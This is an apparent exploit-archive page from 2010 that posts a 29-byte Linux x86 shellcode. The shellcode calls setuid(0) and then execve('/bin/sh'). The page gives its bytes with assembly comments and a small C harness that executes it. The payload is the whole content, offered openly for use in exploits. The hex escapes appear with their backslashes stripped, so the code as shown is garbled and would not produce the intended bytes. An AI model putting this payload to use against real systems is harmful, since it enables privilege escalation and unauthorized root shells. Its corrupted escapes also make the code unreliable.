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linux/x86 setuid(0) + execve("/bin/sh",...) Shellc

Posted on 23 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 setuid(0) + execve(&quot;/bin/sh&quot;,...) Shellcode 29 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==============================================================
linux/x86 setuid(0) + execve(&quot;/bin/sh&quot;,...) Shellcode 29 bytes
==============================================================

/* 29 byte-long setuid(0) + execve(&quot;/bin/sh&quot;,...) shellcode
   by Marcin Ulikowski &lt;elceef@itsec.pl&gt; */
 
#include &lt;unistd.h&gt;
 
char shellcode[] =
&quot;x31xdb&quot;             /* xor    %ebx,%ebx       */
&quot;x8dx43x17&quot;         /* lea    0x17(%ebx),%eax */
&quot;xcdx80&quot;             /* int    $0x80           */
&quot;x53&quot;                 /* push   %ebx            */
&quot;x68x6ex2fx73x68&quot; /* push   $0x68732f6e     */
&quot;x68x2fx2fx62x69&quot; /* push   $0x69622f2f     */
&quot;x89xe3&quot;             /* mov    %esp,%ebx       */
&quot;x50&quot;                 /* push   %eax            */
&quot;x53&quot;                 /* push   %ebx            */
&quot;x89xe1&quot;             /* mov    %esp,%ecx       */
&quot;x99&quot;                 /* cltd                   */
&quot;xb0x0b&quot;             /* mov    $0xb,%al        */
&quot;xcdx80&quot;;            /* int    $0x80           */
 
int main(void) {
  void(*f)()=(void*)shellcode;f();
  return 0;
}


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